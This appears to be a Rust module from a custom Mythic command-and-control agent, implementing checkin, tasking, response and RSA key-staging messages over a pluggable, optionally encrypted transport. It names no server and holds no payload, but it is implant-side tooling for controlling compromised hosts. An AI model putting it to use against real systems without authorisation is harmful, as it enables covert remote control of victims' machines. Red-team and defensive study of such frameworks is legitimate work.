use alloc::{
string::String,
vec::Vec,
};
use uuid::Uuid;
use crate::c2::{C2Transport, MythicError};
use crate::protocol::{
Aes256HmacCrypto, CheckinInfo, MythicMessageError, ReqCheckin, ReqGetTasking,
ReqPostResponse, ReqStagingRSA, ReqStagingTranslation, RespCheckin, RespGetTasking,
RespPostResponse, RespStagingRSA, RespStagingTranslation, TaskResponse, encode_message,
encode_message_plain, decode_message, decode_message_plain,
};
pub struct Mythic {
agent_uuid: Uuid,
crypto: Option<Aes256HmacCrypto>,
}
impl Mythic {
pub fn new(agent_uuid: Uuid) -> Self {
Self {
agent_uuid,
crypto: None,
}
}
pub fn with_crypto(agent_uuid: Uuid, crypto: Aes256HmacCrypto) -> Self {
Self {
agent_uuid,
crypto: Some(crypto),
}
}
pub fn agent_uuid(&self) -> Uuid {
self.agent_uuid
}
pub fn set_agent_uuid(&mut self, uuid: Uuid) {
self.agent_uuid = uuid;
}
pub fn set_crypto(&mut self, crypto: Aes256HmacCrypto) {
self.crypto = Some(crypto);
}
pub fn build_checkin(&self, info: CheckinInfo) -> Result<String, MythicMessageError> {
let req = ReqCheckin::new(self.agent_uuid, info);
self.encode(&req)
}
pub fn build_checkin_minimal(&self) -> Result<String, MythicMessageError> {
let req = ReqCheckin::minimal(self.agent_uuid);
self.encode(&req)
}
pub fn parse_checkin(
&self,
packed: &str,
) -> Result<(Uuid, RespCheckin), MythicMessageError> {
self.decode(packed)
}
pub fn build_get_tasking(
&self,
tasking_size: i32,
) -> Result<String, MythicMessageError> {
let req = ReqGetTasking::new(tasking_size);
self.encode(&req)
}
pub fn parse_get_tasking(
&self,
packed: &str,
) -> Result<(Uuid, RespGetTasking), MythicMessageError> {
self.decode(packed)
}
pub fn build_post_response(
&self,
responses: Vec<TaskResponse>,
) -> Result<String, MythicMessageError> {
let req = ReqPostResponse::new(responses);
self.encode(&req)
}
pub fn parse_post_response(
&self,
packed: &str,
) -> Result<(Uuid, RespPostResponse), MythicMessageError> {
self.decode(packed)
}
pub fn build_staging_rsa(
&self,
pub_key: &str,
session_id: &str,
) -> Result<String, MythicMessageError> {
let req = ReqStagingRSA::new(pub_key.into(), session_id.into());
self.encode(&req)
}
pub fn parse_staging_rsa(
&self,
packed: &str,
) -> Result<(Uuid, RespStagingRSA), MythicMessageError> {
self.decode(packed)
}
pub fn build_staging_translation(
&self,
session_id: &str,
enc_key: &str,
dec_key: &str,
crypto_type: &str,
next_uuid: Uuid,
message: &str,
) -> Result<String, MythicMessageError> {
let req = ReqStagingTranslation::new(
session_id.into(),
enc_key.into(),
dec_key.into(),
crypto_type.into(),
next_uuid,
message.into(),
);
self.encode(&req)
}
pub fn parse_staging_translation(
&self,
packed: &str,
) -> Result<(Uuid, RespStagingTranslation), MythicMessageError> {
self.decode(packed)
}
pub fn checkin<C: C2Transport>(
&self,
info: CheckinInfo,
c2: &C,
) -> Result<(Uuid, RespCheckin), MythicError<C::Error>> {
let pkt = self.build_checkin(info)?;
let reply = c2.checkin(&pkt).map_err(MythicError::Transport)?;
Ok(self.parse_checkin(&reply)?)
}
pub fn checkin_minimal<C: C2Transport>(
&self,
c2: &C,
) -> Result<(Uuid, RespCheckin), MythicError<C::Error>> {
let pkt = self.build_checkin_minimal()?;
let reply = c2.checkin(&pkt).map_err(MythicError::Transport)?;
Ok(self.parse_checkin(&reply)?)
}
pub fn get_tasking<C: C2Transport>(
&self,
tasking_size: i32,
c2: &C,
) -> Result<(Uuid, RespGetTasking), MythicError<C::Error>> {
let pkt = self.build_get_tasking(tasking_size)?;
let reply = c2.get_tasking(&pkt).map_err(MythicError::Transport)?;
Ok(self.parse_get_tasking(&reply)?)
}
pub fn post_response<C: C2Transport>(
&self,
responses: Vec<TaskResponse>,
c2: &C,
) -> Result<(Uuid, RespPostResponse), MythicError<C::Error>> {
let pkt = self.build_post_response(responses)?;
let reply = c2.post_response(&pkt).map_err(MythicError::Transport)?;
Ok(self.parse_post_response(&reply)?)
}
pub fn staging_rsa<C: C2Transport>(
&self,
pub_key: &str,
session_id: &str,
c2: &C,
) -> Result<(Uuid, RespStagingRSA), MythicError<C::Error>> {
let pkt = self.build_staging_rsa(pub_key, session_id)?;
let reply = c2.staging_rsa(&pkt).map_err(MythicError::Transport)?;
Ok(self.parse_staging_rsa(&reply)?)
}
pub fn staging_translation<C: C2Transport>(
&self,
session_id: &str,
enc_key: &str,
dec_key: &str,
crypto_type: &str,
next_uuid: Uuid,
message: &str,
c2: &C,
) -> Result<(Uuid, RespStagingTranslation), MythicError<C::Error>> {
let pkt = self.build_staging_translation(
session_id, enc_key, dec_key, crypto_type, next_uuid, message,
)?;
let reply = c2
.staging_translation(&pkt)
.map_err(MythicError::Transport)?;
Ok(self.parse_staging_translation(&reply)?)
}
fn encode<T: serde::Serialize>(
&self,
msg: &T,
) -> Result<String, MythicMessageError> {
match &self.crypto {
Some(c) => encode_message(msg, self.agent_uuid, c),
None => encode_message_plain(msg, self.agent_uuid),
}
}
fn decode<T: serde::de::DeserializeOwned>(
&self,
packed: &str,
) -> Result<(Uuid, T), MythicMessageError> {
match &self.crypto {
Some(c) => decode_message(packed, Some(self.agent_uuid), c),
None => decode_message_plain(packed, Some(self.agent_uuid)),
}
}
}